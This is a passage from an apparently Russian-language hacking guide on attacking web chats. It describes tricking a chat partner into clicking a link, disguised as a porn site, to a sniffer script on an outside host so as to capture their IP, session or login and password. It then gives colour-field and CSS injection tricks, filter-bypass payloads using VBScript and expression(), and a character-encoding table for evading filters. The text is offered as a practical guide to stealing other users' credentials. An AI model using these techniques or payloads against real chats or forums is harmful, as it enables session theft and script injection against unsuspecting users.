    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) або background:expression(alert())
    Табличка часто применяемых кодов:
    символ десяткова кодування 16-а кодування * символьна кодування Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Сподобалося? Підпишись на RSS новини!
    Ви також можете підтримати shram.kiev.ua, тисніть:

    Не зайвим буде і твоїм друзям дізнатися цю інформацію, поділися з ними статтею!

    Розгорнути / згорнути Розгорнути / згорнути вікно з коментарями

    Коментарі

    Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.
    Кредитка безкоштовно з лімітом в 15000 грн.